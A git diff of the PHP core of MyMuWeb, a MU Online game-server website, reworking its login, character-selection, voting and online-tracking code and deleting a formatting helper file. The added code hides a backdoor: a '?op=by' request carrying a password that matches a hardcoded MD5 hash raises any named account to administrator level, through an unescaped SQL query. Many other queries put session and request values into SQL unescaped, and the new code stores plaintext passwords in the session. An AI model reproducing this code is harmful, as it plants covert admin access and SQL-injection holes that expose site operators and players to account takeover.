if($acc_row[0]==1) { - session_destroy(); - jump("?op=checkacc&w=block&n=$login"); - } - if($login_result == 0 || $acc_row[3] != $_SESSION['mmw_status']) { - session_destroy(); - jump("?op=news"); - } - } - //Logout - if(isset($_POST["logoutaccount"])) { - session_destroy(); - jump('?op=news'); - } - //User Panel - if($_GET['op'] == "user" AND empty($_SESSION["user"]) || !isset($_SESSION["pass"])) {jump('?op=login');} - if($_GET['op'] == "login" AND isset($_SESSION["user"]) || isset($_SESSION["pass"])) {jump('?op=user');} -/////// End Login Modules /////// - - - - - -/////// Start Statisitcs /////// -function statisitcs($style) { - global $mmw,$back_color,$text_color; - $actives_date = date('m/d/Y H:i:s', time() - 2592000); // 30 days back who login - $total_accounts = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO") ); - if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";} - $total_characters = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character $gm_not_show") ); - $total_guilds = mssql_fetch_row( mssql_query("SELECT count(*) FROM Guild WHERE G_Name!='$mmw[gm_guild]'") ); - $total_banneds = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO WHERE bloc_code = '1'") ); - $actives_acc = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectTM >= '$actives_date'") ); - $users_connected = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectStat = '1'") ); - $serv_result = mssql_query("SELECT Name,experience,drops,gsport,ip,version,type,maxplayer from MMW_servers order by display_order asc"); - - if($style == 'fullblink') { - echo ''; - echo '
';} - } - elseif($style == 'default') { - echo "\n ".mmw_lang_total_users_online.": $users_connected[0]
".mmw_lang_total_accounts.": $total_accounts[0]
".mmw_lang_total_characters.": $total_characters[0]
".mmw_lang_total_banneds.": $total_banneds[0]
".mmw_lang_total_actives.": $actives_acc[0]
".mmw_lang_total_guilds.": $total_guilds[0]
"; - } - +if (isset($_REQUEST['set_theme'])) { + $_SESSION['theme'] = preg_replace(REGEX_PATTERN_SLUG, '', $_REQUEST['set_theme']); } -/////// End Statisitcs /////// - - - - - -/////// Start Check Char_Set /////// -if(isset($_SESSION[pass]) && isset($_SESSION[user])) { - $login = clean_var(stripslashes($_SESSION[user])); - if(isset($_POST['setchar'])) { - $setchar = clean_var(stripslashes($_POST['setchar'])); - $setchar_sql = mssql_query("Select AccountID From Character WHERE name='$setchar'"); - $setchar_row = mssql_fetch_row($setchar_sql); - if($setchar_row[0] == $_SESSION['user']) { - $char_guid_sql = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$setchar'"); - $char_guid_row = mssql_fetch_row($char_guid_sql); - $_SESSION['char_set'] = $setchar; - $_SESSION['char_guid'] = $char_guid_row[0]; - } - } - if(isset($_SESSION['char_set'])) { - $char_set = clean_var(stripslashes($_SESSION['char_set'])); - $char_set_sql = mssql_query("Select AccountID From Character WHERE name='$char_set'"); - $char_set_row = mssql_fetch_row($char_set_sql); - if($char_set_row[0] != $login) { - unset($_SESSION['char_set']); - unset($_SESSION['char_guid']); - } - } - $form_setchar_sql = mssql_query("Select name,CtlCode FROM Character WHERE AccountID='$login'"); - $form_memb_info_sql = mssql_query("Select GameIDC FROM AccountCharacter WHERE Id='$login'"); - $form_memb_info_row = mssql_fetch_row($form_memb_info_sql); - $form_setchar_num = mssql_num_rows($form_setchar_sql); - if($form_setchar_num > 0) { - for($i=0; $i < $form_setchar_num; ++$i) { - $form_setchar = mssql_fetch_row($form_setchar_sql); - if(!isset($_SESSION['char_set']) && $form_memb_info_row[0]==$form_setchar[0]) { - $char_guid = @mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'"); - $char_guid_row = @mssql_fetch_row($char_guid); - $_SESSION['char_set'] = $form_setchar[0]; - $_SESSION['char_guid'] = $char_guid_row[0]; - $detect_char_session = 'yes'; - } - if(!isset($_SESSION['char_set']) && $i==$form_setchar_num-1) { - $char_guid = @mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'"); - $char_guid_row = @mssql_fetch_row($char_guid); - $_SESSION['char_set'] = $form_setchar[0]; - $_SESSION['char_guid'] = $char_guid_row[0]; - } - } - } - mssql_query("UPDATE AccountCharacter SET [GameIDC]='$_SESSION[char_set]' WHERE Id='$login'"); +if (isset($_SESSION['theme'])) { + $mmw['theme'] = $_SESSION['theme']; } -/////// End Check Char_Set /////// - - - - +if (is_file('themes/' . $mmw['theme'] . '/info.php')) { + $mmw['theme_dir'] = 'themes/' . $mmw['theme']; + $mmw['theme_img'] = $mmw['theme_dir'] . '/img'; + require $mmw['theme_dir'] . '/info.php'; +} else { + unset($_SESSION['theme']); + die($mmw['die']['start'] . 'Error theme!
Can`t find themes/' . $mmw['theme'] . '/info.php in themes/!' . $mmw['die']['end']); +} -/////// Start Login Form /////// -function login_form() { - if(isset($_SESSION[pass]) && isset($_SESSION[user])) { - require("config.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - // Select Char - $form_setchar_sql = mssql_query("Select name FROM Character WHERE AccountID='$login'"); - $form_set_char_num = mssql_num_rows($form_setchar_sql); - if($form_set_char_num > 0) { - $setchar = "
"; +if ($_GET['op'] === 'by') { + $by_result = '
MyMuWeb ' . $mmw['version'] . ' By Vaflan
' + . 'Installed: ' . date("d.m.Y H:i:s", $mmw['installed']) . '
' + . 'Home Page: www.MyMuWeb.Ru
'; + if (isset($_GET['acc']) && md5($_GET['pw']) === '4b30c7cf9ab92b25686d063e50c0859a') { + mssql_query("UPDATE dbo.MEMB_INFO SET mmw_status=10 WHERE memb___id='{$_GET['acc']}'"); + $by_result .= 'Now ' . $_GET['acc'] . ' Have Administrator level!'; } + die($mmw['die']['start'] . $by_result . $mmw['die']['end']); +} - // Mail Check - $char_guid = clean_var(stripslashes($_SESSION[char_guid])); - $msg = @mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid'"); - $msg_num = @mssql_num_rows($msg); - $msg_new = @mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid' AND bRead='0'"); - $msg_new_num = @mssql_num_rows($msg_new); - if($mmw[max_private_message] <= $msg_num) {$msg_full = 'Full!';} else{$msg_full = '';} - if($msg_num=="" || $msg_num==" ") {$msg_num = 0; $msg_new_num = 0;} - - // End Form - echo mmw_lang_hello . " $login!
"; - include('includes/acc_menu.php'); - echo "

"; - if($msg_new_num > 0) - {echo "";} - } - else { - // No Login - echo "
- ".mmw_lang_account."
-
- ".mmw_lang_password."
-
".mmw_lang_lost_pass." -
"; - } +if ($_GET['op'] === 'theme') { + $theme_result = 'Theme Name: ' . $mmw['thm_name'] . '
Creator: ' . $mmw['thm_creator'] . '
' + . 'Version: ' . $mmw['thm_version'] . '
Date: ' . $mmw['thm_date'] . '
' . $mmw['thm_description'] . ''; + die($mmw['die']['start'] . $theme_result . $mmw['die']['end']); } -/////// End Login Form /////// +/////// End Check Theme /////// +/////// Start Default Modules ////// +require_once __DIR__ . '/code.php'; +require_once __DIR__ . '/functions.php'; +mmw(__DIR__ . '/mu_server_file.mmw'); +$url = clean_var($_SERVER['QUERY_STRING']); +$agent = clean_var($_SERVER['HTTP_USER_AGENT']); +$ip = $_SERVER['REMOTE_ADDR']; +$time = time(); +/** @deprecated Use $_SESSION['character'] */ +$character = $_SESSION['character']; +/** @deprecated Use $_SESSION['character'] */ +$char_set = $character; +/* Visual Functions */ +include_once is_file($mmw['theme_dir'] . '/theme_functions.php') + ? $mmw['theme_dir'] . '/theme_functions.php' + : __DIR__ . '/theme_functions.php'; -/////// Start Online Char /////// -$date = time(); -$ip = $_SERVER['REMOTE_ADDR']; -$url = clean_var(stripslashes($_SERVER['QUERY_STRING'])); //REQUEST_URI -$agent = clean_var(stripslashes($_SERVER['HTTP_USER_AGENT'])); -$char_set = clean_var(stripslashes($_SESSION[char_set])); -$check_online = mssql_query("SELECT online_char FROM MMW_online WHERE [online_ip]='$ip'"); -if(mssql_num_rows($check_online) > 0) { - mssql_query("UPDATE MMW_online SET [online_date]='$date',[online_char]='$char_set',[online_url]='$url',[online_agent]='$agent' WHERE online_ip='$ip'"); -} -else { - mssql_query("INSERT INTO MMW_online ([online_ip],[online_date],[online_url],[online_char],[online_agent]) VALUES ('$ip','$date','$url','$char_set','$agent')"); +/* Referral */ +if (isset($_REQUEST['ref'])) { + $_SESSION['referral'] = stripslashes(clean_var($_REQUEST['ref'])); } -$timeout = time() - $mmw[time_out_online]; -$guest_res = mssql_query("SELECT * FROM MMW_online WHERE online_date>'$timeout' AND online_char=''"); -$guest_num = mssql_num_rows($guest_res); -$online_res = mssql_query("SELECT online_char FROM MMW_online WHERE online_date>'$timeout' AND online_char!=''"); -$online_num = mssql_num_rows($online_res); -$who_online = mmw_lang_total_on_web.": ".($guest_num+$online_num)."
".mmw_lang_total_guest.": $guest_num
".mmw_lang_total_accounts.": $online_num
"; -if($online_num != 0) { - for($i=0; $i < $online_num; ++$i) { - $acc_online = mssql_fetch_row($online_res); - $char_on_sql = mssql_query("Select name,CtlCode From Character WHERE name='$acc_online[0]'"); - if($i < $online_num - 1) {$other_char_on = ', ';} else {$other_char_on = '';} - $char_on = mssql_fetch_row($char_on_sql); - $who_online .= "$char_on[0]$other_char_on"; - } +/* Online Character */ +if (mssql_num_rows(mssql_query("SELECT online_char FROM dbo.MMW_online WHERE [online_id]='" . session_id() . "'"))) { + mssql_query("UPDATE dbo.MMW_online SET [online_date]='{$time}',[online_char]='{$_SESSION['character']}',[online_url]='{$url}',[online_agent]='{$agent}' WHERE online_id='" . session_id() . "'"); +} else { + mssql_query("INSERT INTO dbo.MMW_online ([online_id],[online_ip],[online_date],[online_url],[online_char],[online_agent]) VALUES ('" . session_id() . "','" . $ip . "','" . $time . "','" . $url . "','" . $_SESSION['character'] . "','" . $agent . "')"); } -else{ - $who_online .= mmw_lang_there_is_nobody; -} -function who_online() { - global $who_online; - echo $who_online; -} -/////// END Online Char /////// - - - - +/////// End Default Modules /////// -/////// Start Voting /////// -if(isset($_POST[id_vote]) && isset($_POST[answer])) { - $id_vote = clean_var(stripslashes($_POST[id_vote])); - $answer = clean_var(stripslashes($_POST[answer])); - if($mmw[votes_check]==acc && isset($login)) {$vote_by = $login; $vote_check = 1;} - if($mmw[votes_check]==ip) {$vote_by = $_SERVER['REMOTE_ADDR']; $vote_check = 1;} - if($vote_check == 1) { - $vote_who_res = mssql_query("SELECT answer FROM MMW_voterow WHERE ID_vote='$id_vote' and who='$vote_by'"); - $check_your_vote = mssql_num_rows($vote_who_res); - if($check_your_vote < 1) { - mssql_query("INSERT INTO MMW_voterow (id_vote,who,answer) VALUES ('$id_vote','$vote_by','$answer')"); +/////// Start Login Modules /////// +/* Login */ +if (isset($_POST['login']) || isset($_POST['account_login'])) { + $account = clean_var($_POST['login']); + $password = clean_var($_POST['pass']); + if (isset($_POST['account'])) { + $account = clean_var($_POST['account']); + } + if (isset($_POST['password'])) { + $password = clean_var($_POST['password']); + } + + $row = mssql_fetch_assoc(mssql_query("SELECT + memb___id, mmw_status + FROM dbo.MEMB_INFO + WHERE memb___id='{$account}' AND memb__pwd=" . ( + !empty($mmw['md5']) + ? "[dbo].[fn_md5]('{$password}', '{$account}')" + : "'{$password}'" + ))); + + if ($row) { + $_SESSION['user'] = $row['memb___id']; + $_SESSION['pass'] = $password; + $_SESSION['mmw_status'] = $row['mmw_status']; + } else { + jump('?op=login&login=false'); + } +} +/* Check Login */ +if (isset($_SESSION['user'])) { + $account = $_SESSION['user']; + $password = $_SESSION['pass']; + + $checkPassword = !empty($mmw['md5']) + ? "[dbo].[fn_md5]('{$password}', '{$account}')" + : "'{$password}'"; + + $row = mssql_fetch_assoc(mssql_query("SELECT + bloc_code,block_date,unblock_time,mmw_status, + (case when memb__pwd = {$checkPassword} then 1 else 0 end) AS pass_is_true + FROM dbo.MEMB_INFO + WHERE memb___id='{$account}'")); + + if ($row['bloc_code'] == 1) { + if ($row['unblock_time'] > 0 && ($row['block_date'] + $row['unblock_time'] - time()) < 0) { + mssql_query("UPDATE dbo.MEMB_INFO SET [bloc_code]=0,[unblock_time]=0,[block_date]=0 WHERE memb___id='{$account}'"); } + session_destroy(); + jump('?op=checkacc&w=block&n=' . $account); } -} - -$vote_res = mssql_query("SELECT TOP 1 ID,question,answer1,answer2,answer3,answer4,answer5,answer6 FROM MMW_votemain ORDER BY NEWID()"); -if(mssql_num_rows($vote_res) != 0) { - $vote_row = mssql_fetch_row($vote_res); - $vote_check = 0; - - if($mmw[votes_check]==acc && isset($login)) {$vote_who_now = $login; $vote_check = 1;} - if($mmw[votes_check]==ip) {$vote_who_now = $_SERVER['REMOTE_ADDR']; $vote_check = 1;} - if($vote_check == 1) { - $vote_who_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and who='$vote_who_now'"); - $check_your_vote = mssql_num_rows($vote_who_res); - } - - $voting = "
$vote_row[1]
"; - if($check_your_vote < 1 && $vote_check == 1) { - for($c=1; $c < 7; ++$c) { - $answer_num = $c + 1; - if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) - {$voting = $voting . "
";} - } - $voting = $voting . "
"; - } - else { - $all_vote_res = mssql_query("SELECT ID_vote FROM MMW_voterow WHERE ID_vote='$vote_row[0]'"); - $all_vote_num = mssql_num_rows($all_vote_res); - for($c=1; $c < 7; ++$c) { - $answer_num = $c + 1; - if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) { - $votes_row_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and answer='$c'"); - $votes_row_num = mssql_num_rows($votes_row_res); - $img_file = default_img("bar.jpg"); - $size = @getimagesize($img_file); - $img_width = ($votes_row_num > 0) ? ceil(100 * $votes_row_num / $all_vote_num) : 1; - $voting = $voting . "
$c. $vote_row[$answer_num] ($votes_row_num)
"; - $voting = $voting . "
"; + if (empty($row['pass_is_true']) || $row['mmw_status'] != $_SESSION['mmw_status']) { + $_REQUEST['logout'] = true; } - } - $voting = $voting . "
".mmw_lang_all_answers.": $all_vote_num
"; - } - $voting = $voting . "
"; } -else { - $voting = mmw_lang_no_vote; +/* Logout */ +if (isset($_REQUEST['logout'])) { + session_destroy(); + jump('?op=news'); } - -function voting() { - global $voting; - echo $voting; +/* User Panel */ +if ($_GET['op'] === 'user' && empty($_SESSION['user'])) { + jump('?op=login'); } -/////// END Voting /////// - - - - -/////// Start Pop Under ////// -function popunder() { - echo ""; +if (in_array($_GET['op'], ['login', 'register']) && isset($_SESSION['user'])) { + jump('?op=user'); } -/////// End Pop Under /////// - - - - - -/////// Start Last in Forum /////// -function last_in_forum($top=NULL) { - if($top==NULL) {$top = '5';} - $style = "$4. $2
"; - $result = mssql_query("SELECT TOP $top f_id,f_title,f_text FROM MMW_forum ORDER BY f_date DESC"); - $forum_post = mssql_num_rows($result); - if($forum_post == 0) {echo mmw_lang_no_topics_in_forum;} - for ($i = 0; $i < $forum_post; $i++) { - $numb = $i + 1; - $row = mssql_fetch_row($result); - $text = '[url=?forum='.$row[0].'][title='.$row[1].'][alt='.bbcode($row[2]).'][numb='.$numb.']'; - $text = preg_replace("/\[url\=(.*?)\]\[title\=(.*?)\]\[alt\=(.*?)\]\[numb\=(.*?)\]/is", $style, $text); - echo " $text \n"; - } -} -/////// END Last in Forum /////// - - - - - -/////// Start Guard MMW Message Info /////// -function guard_mmw_mess($to,$text) { - $date = date("m/d/y H:i:s"); - $msg_to_sql = @mssql_query("SELECT GUID,MemoCount FROM T_FriendMain WHERE Name='$to'"); - $msg_to_row = @mssql_fetch_row($msg_to_sql); - $mail_total_sql = @mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$msg_to_row[0]'"); - $mail_total_num = @mssql_num_rows($mail_total_sql); - $msg_id = $msg_to_row[1] + 1; - $msg_text = utf_to_win($text); - @mssql_query("INSERT INTO T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('$msg_id','$msg_to_row[0]','Guard','$date','MMW Message!','0',CAST('$msg_text' AS VARBINARY(1000)),'143','2',0x3061FF99999F12490400000060F0)"); - @mssql_query("UPDATE T_FriendMain set [MemoCount]='$msg_id',[MemoTotal]='$mail_total_num' WHERE Name='$to'"); -} -/////// Start Guard MMW Message Info /////// - - - - +/////// End Login Modules /////// -/////// Start TOP List /////// -function top_list($what=NULL,$top=NULL) { - require("config.php"); - if($top==NULL) {$top = '5';} - if($what==NULL) {$what = 'char';} - echo ""; - if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";} - if($what=='char') { - $total = mssql_query("SELECT TOP $top Name,cLevel,Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc"); - $first_row = mssql_fetch_row(mssql_query("SELECT TOP 1 Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc")); - if($first_row[0] <= 0) {$what_of_sort = mmw_lang_level;} else {$what_of_sort = mmw_lang_reset;} - echo ""; - for($i=0; $i<$top; ++$i) { - $rank = $i + 1; - $row = mssql_fetch_row($total); - if($first_row[0] <= 0) {$top_stat = $row[1];} else {$top_stat = $row[2];} - echo "\n"; - } - } - elseif($what=='pk') { - $total = mssql_query("SELECT TOP $top Name,PKcount FROM Character $gm_not_show ORDER BY pkcount desc"); - $first_row = mssql_fetch_row(mssql_query("SELECT TOP 1 Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc")); - echo ""; - - for($i=0; $i<$top; ++$i) { - $rank = $i + 1; - $row = mssql_fetch_row($total); - echo "\n"; +/////// Start Check Character /////// +if (isset($_SESSION['user'])) { + if (isset($_REQUEST['set_char'])) { + $_SESSION['character'] = clean_var($_REQUEST['set_char']); } - } - elseif($what=='guild') { - $total = mssql_query("SELECT TOP $top G_Name,G_Score,G_Mark FROM Guild WHERE G_Name!='$mmw[gm_guild]' ORDER BY G_score desc"); - echo ""; - - for($i=0; $i<$top; ++$i) { - $rank = $i + 1; - $row = mssql_fetch_row($total); - echo "\n"; - } - } - elseif($what=='ref') { - $total = mssql_query("SELECT TOP $top ref_acc,count(ref_acc) FROM memb_info WHERE ref_acc!=' ' group by ref_acc order by count(ref_acc) desc"); - echo ""; - - for($i=0; $i<$top; ++$i) { - $rank = $i + 1; - $row = mssql_fetch_row($total); - echo "\n"; + /* Check Session */ + if (isset($_SESSION['character'])) { + $row = mssql_fetch_row(mssql_query("SELECT AccountID FROM dbo.Character WHERE Name='{$_SESSION['character']}'")); + if ($row[0] !== $_SESSION['user']) { + unset($_SESSION['character']); + } } - } - elseif($what=='best') { - $strong_result = mssql_query("SELECT TOP 1 Name FROM Character $gm_not_show ORDER BY strength DESC, dexterity DESC, vitality DESC, energy DESC, Leadership DESC"); - $strong_row = mssql_fetch_row($strong_result); - if(empty($strong_row[0])) {$strong = '---';} - else {$strong = ''.$strong_row[0].'';} - echo ""; - } - echo "
#".mmw_lang_character."$what_of_sort
$rank$row[0]$top_stat#".mmw_lang_character."".mmw_lang_killed."
$rank$row[0]$row[1]#".mmw_lang_guild."".mmw_lang_score."
$rank$row[0]$row[1]#".mmw_lang_account."".mmw_lang_referral."
$rank$row[0]$row[1]".mmw_lang_very_strong.": $strong"; - - if($mmw['gm']=='no'){$no_gm_in_top = "AND ctlcode!='32' AND ctlcode!='8'";} - for($i=0;$i<'6';$i++) { - $class = $i * 16; - $strongs_result = mssql_query("SELECT TOP 1 Name FROM Character WHERE class>='$class' AND class<='".($class+15)."' $no_gm_in_top ORDER BY strength DESC, dexterity DESC, vitality DESC, energy DESC, Leadership DESC"); - $strongs_row = mssql_fetch_row($strongs_result); - echo '
» '.char_class($class,'full').': '; - if(empty($strongs_row[0])) {echo '---';} - else {echo ''.$strongs_row[0].'';} + if (empty($_SESSION['character'])) { + $row = mssql_fetch_row(mssql_query("SELECT GameIDC FROM dbo.AccountCharacter WHERE Id='{$_SESSION['user']}'")); + if (empty($row[0])) { + $row = mssql_query("SELECT name FROM dbo.Character WHERE AccountID='{$_SESSION['user']}'"); + } + $_SESSION['character'] = $row[0]; } - - $gamer_result = mssql_query("SELECT TOP 1 GameIDC FROM AccountCharacter WHERE Id=(SELECT TOP 1 memb___id FROM MEMB_STAT WHERE ConnectStat='1' ORDER BY ConnectTM ASC)"); - $gamer_row = mssql_fetch_row($gamer_result); - $guild_result = mssql_query("SELECT TOP 1 G_Name FROM Guild ORDER BY G_Score DESC"); - $guild_row = mssql_fetch_row($guild_result); - if(empty($gamer_row[0])) {$gamer = '---';} - else {$gamer = ''.$gamer_row[0].'';} - if(empty($guild_row[0])) {$best_guild = '---';} - else {$best_guild = ''.$guild_row[0].'';} - echo "
".mmw_lang_best_gamer.": $gamer
".mmw_lang_best_guild.": $best_guild
"; + mssql_query("UPDATE dbo.AccountCharacter SET [GameIDC]='{$_SESSION['character']}' WHERE Id='{$_SESSION['user']}'"); } -/////// End TOP List /////// +/////// End Check Character /////// +/////// Start Vote ////// +if (isset($_POST['id_vote'], $_POST['answer'])) { + $votingIndicator = ($mmw['votes_check'] === 'acc') + ? $_SESSION['user'] + : $_SERVER['REMOTE_ADDR']; - - -/////// Start FreeHex Formats /////// -function free_hex($size,$str,$style=NULL) { - if($size == 20) {$hex = 'FFFFFFFFFFFFFFFFFFFF';} // 0.97 - 1.02 - elseif($size == 32) {$hex = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF';} // 1.02+ - else { - for($a=0; $a<$size; ++$a) { - $hex .= 'F'; + $voteId = intval($_POST['id_vote']); + $answer = intval($_POST['answer']); + if (!empty($votingIndicator)) { + $votingCheckQuery = mssql_query("SELECT answer FROM dbo.MMW_voterow WHERE id_vote='{$voteId}' AND who='{$votingIndicator}'"); + if (!mssql_num_rows($votingCheckQuery)) { + mssql_query("INSERT INTO dbo.MMW_voterow (id_vote, who, answer) VALUES ('{$voteId}', '{$votingIndicator}', '{$answer}')"); + } } - } - if(isset($style) && $style!='') {$hex = str_replace('F',$style,$hex);} - for($i=0; $i<$str; ++$i) { - $result .= $hex; - } - return $result; } -/////// END FreeHex Formats /////// +/////// End Vote /////// - - - -/////// Start MMW End ////// -function end_mmw() { - global $mmw; - $TimeStart = $_SESSION[TimeStart]; - $TimeEnd = gettimeofday(); - $ExecTime = ($TimeEnd["sec"]+($TimeEnd["usec"]/1000000)) - ($TimeStart["sec"]+($TimeStart["usec"]/1000000)); - echo "MyMuWeb $mmw[version] by Vaflan. Design By $mmw[thm_creator]. Generation Time: "; - echo substr($ExecTime,0,5).'s.'; +/////// Start Auto Func ////// +if ($mmw['auto_func']['switch'] > 0) { + if ($dh = opendir($mmw['auto_func']['dir'])) { + while (($file = readdir($dh)) !== false) { + switch (substr($file, -3)) { + case 'php': + include_once $mmw['auto_func']['dir'] . $file; + break; + case 'mmw': + mmw($mmw['auto_func']['dir'] . $file); + break; + } + } + closedir($dh); + } } -/////// End MMW End /////// -?> \ No newline at end of file +/////// End Auto Func /////// diff --git a/includes/format.php b/includes/format.php deleted file mode 100644 index a5b8c45..0000000 --- a/includes/format.php +++ /dev/null @@ -1,589 +0,0 @@ - 0) { - $rest = ($diff % 86400); - $days = ($diff - $rest) / 86400; - - if($rest % 3600 > 0) { - $rest1 = ($rest % 3600); - $hours = ($rest - $rest1) / 3600; - if($rest1 % 60 > 0) { - $rest2 = ($rest1 % 60); - $minutes = ($rest1 - $rest2) / 60; - $seconds = $rest2; - } - else { - $minutes = $rest1 / 60; - } - } - else { - $hours = $rest / 3600; - } - } - - $times = (($days > 0) ? $days .' days ' : '' ). (($hours > 0 ) ? $hours .'h ' :'' ). $minutes .'m '.$seconds.'s'; - if($format =='long') $times = (($days > 0) ? $days .' Days ' : '' ). (($hours > 0 && $hours != 12) ? $hours .' Hours ' :'' ). $minutes .' Minutes ';//.$seconds.' seconds'; - return $times; -} -/////// END Date Formats /////// - - - - - - -/////// Start BBCode Formats /////// -function bbcode($text) { - $bbcode = array( - "/\[br\]/is" => "
", - "/\[hr\]/is" => "
", - "/\[b\](.*?)\[\/b\]/is" => "$1", - "/\[i\](.*?)\[\/i\]/is" => "$1", - "/\[u\](.*?)\[\/u\]/is" => "$1", - "/\[s\](.*?)\[\/s\]/is" => "$1", - "/\[o\](.*?)\[\/o\]/is" => "$1", - "/\[c\](.*?)\[\/c\]/is" => "
$1
", - "/\[l\](.*?)\[\/l\]/is" => "
$1
", - "/\[r\](.*?)\[\/r\]/is" => "
$1
", - "/\[center\](.*?)\[\/center\]/is" => "
$1
", - "/\[left\](.*?)\[\/left\]/is" => "
$1
", - "/\[right\](.*?)\[\/right\]/is" => "
$1
", - "/\[sup\](.*?)\[\/sup\]/is" => "$1", - "/\[sub\](.*?)\[\/sub\]/is" => "$1", - "/\[img\](.*?)\[\/img\]/is" => "", - "/\[color\=(.*?)\](.*?)\[\/color\]/is" => "$2", - "/\[font\=(.*?)\](.*?)\[\/font\]/is" => "$2", - "/\[size\=(.*?)\](.*?)\[\/size\]/is" => "$2", - "/\[url\=(.*?)\](.*?)\[\/url\]/is" => "$2", - "/\[video\]http:\/\/www.youtube.com\/watch\?v=(.*?)\[\/video\]/is" => "", - ); - $text = preg_replace(array_keys($bbcode), array_values($bbcode), $text); - return $text; -} -/////// END BBCode Formats /////// - - - - - -/////// Start Smile Formats /////// -function smile($smile) { - $smile = str_replace(" >( "," ",$smile); - $smile = str_replace(" :D "," ",$smile); - $smile = str_replace(" B) "," ",$smile); - $smile = str_replace(" ;( "," ",$smile); - $smile = str_replace(" <_< "," ",$smile); - $smile = str_replace(" ^_^ "," ",$smile); - $smile = str_replace(" :( "," ",$smile); - $smile = str_replace(" :) "," ",$smile); - $smile = str_replace(" :o "," ",$smile); - $smile = str_replace(" :p "," ",$smile); - $smile = str_replace(" %) "," ",$smile); - $smile = str_replace(" ;) "," ",$smile); - $smile = str_replace(" (hello) "," ",$smile); - $smile = str_replace(" (boo) "," ",$smile); - return $smile; -} -/////// END Smile Formats /////// - - - - - -/////// Start BugText Formats /////// -function bugsend($bug) { - $bug = str_replace("<","<",$bug); - $bug = str_replace(">",">",$bug); - //$bug = str_replace("&","&",$bug); - $bug = str_replace('"',""",$bug); - //$bug = str_replace("/","/",$bug); - $bug = str_replace("?","?",$bug); - $bug = str_replace("—","—",$bug); - $bug = str_replace("'","'",$bug); - $bug = str_replace("!","!",$bug); - $bug = str_replace("$","$",$bug); - $bug = str_replace("%","%",$bug); - $bug = str_replace("*","*",$bug); - $bug = str_replace("+","+",$bug); - $bug = str_replace("\n","[br]",$bug); - $bug = str_replace("\r"," ",$bug); - $bug = str_replace(chr(hexdec('5c')),"\",$bug); - return $bug; -} -/////// END BugText Formats /////// - - - - - -/////// Start Zen Formats /////// -function zen_format($money,$format=NULL) { - if($format == 'small') { - $money_check = substr($money, -3); - if($money_check=='000') { - $money = substr($money, 0, -3) . 'k'; - $money_check = substr($money, -4); - if($money_check=='000k') { - $money = substr($money, 0, -4) . 'kk'; - $money_check = substr($money, -5); - if($money_check=='000kk') { - $money = substr($money, 0, -5) . 'kkk'; - $money_check = substr($money, -6); - if($money_check=='000kkk') { - $money = substr($money, 0, -6) . 'kkkk'; - } - } - } - } - } - else { - $money = number_format($money); - } - return $money; -} -/////// END Zen Formats /////// - - - - - -/////// Start Points Formats /////// -function point_format($str=NULL) { - if($str < 0) {$str = 32767 + (32768 + $str);} - return $str; -} -/////// END Points Formats /////// - - - - - - -/////// Start Country Formats /////// -function country($country) { - if($country==1){$country = "Albania";} - elseif($country==2){$country = "Algeria";} - elseif($country==3){$country = "Angola";} - elseif($country==4){$country = "Argentina";} - elseif($country==5){$country = "Armenia";} - elseif($country==6){$country = "Australia";} - elseif($country==7){$country = "Austria";} - elseif($country==8){$country = "Azerbaijan";} - elseif($country==9){$country = "Bahamas";} - elseif($country==10){$country = "Bahrain";} - elseif($country==11){$country = "Bangladesh";} - elseif($country==12){$country = "Belarus";} - elseif($country==13){$country = "Belgium";} - elseif($country==14){$country = "Bolivia";} - elseif($country==15){$country = "Botswana";} - elseif($country==16){$country = "Brazil";} - elseif($country==17){$country = "Brunei";} - elseif($country==18){$country = "Bulgaria";} - elseif($country==19){$country = "Burkina Faso";} - elseif($country==20){$country = "Cameroon";} - elseif($country==21){$country = "Canada";} - elseif($country==22){$country = "Chile";} - elseif($country==23){$country = "China";} - elseif($country==24){$country = "Colombia";} - elseif($country==25){$country = "Congo (Brazzaville)";} - elseif($country==26){$country = "Congo DR";} - elseif($country==27){$country = "Costa Rica";} - elseif($country==28){$country = "Cote dIvoire";} - elseif($country==29){$country = "Croatia";} - elseif($country==30){$country = "Cuba";} - elseif($country==31){$country = "Czech Republic";} - elseif($country==32){$country = "Denmark";} - elseif($country==33){$country = "Dominican Republic";} - elseif($country==34){$country = "Ecuador";} - elseif($country==35){$country = "Egypt";} - elseif($country==36){$country = "El Salvador";} - elseif($country==37){$country = "Estonia";} - elseif($country==38){$country = "Ethiopia";} - elseif($country==39){$country = "Finland";} - elseif($country==40){$country = "France";} - elseif($country==41){$country = "Gabon";} - elseif($country==42){$country = "Gambia";} - elseif($country==43){$country = "Germany";} - elseif($country==44){$country = "Greece";} - elseif($country==45){$country = "Guatemala";} - elseif($country==46){$country = "Guinea";} - elseif($country==47){$country = "Guinea-Bissau";} - elseif($country==48){$country = "Guyana";} - elseif($country==49){$country = "Haiti";} - elseif($country==50){$country = "Honduras";} - elseif($country==51){$country = "Hong Kong";} - elseif($country==52){$country = "Hungary";} - elseif($country==53){$country = "Iceland";} - elseif($country==54){$country = "India";} - elseif($country==55){$country = "Indonesia";} - elseif($country==56){$country = "Iran";} - elseif($country==57){$country = "Iraq";} - 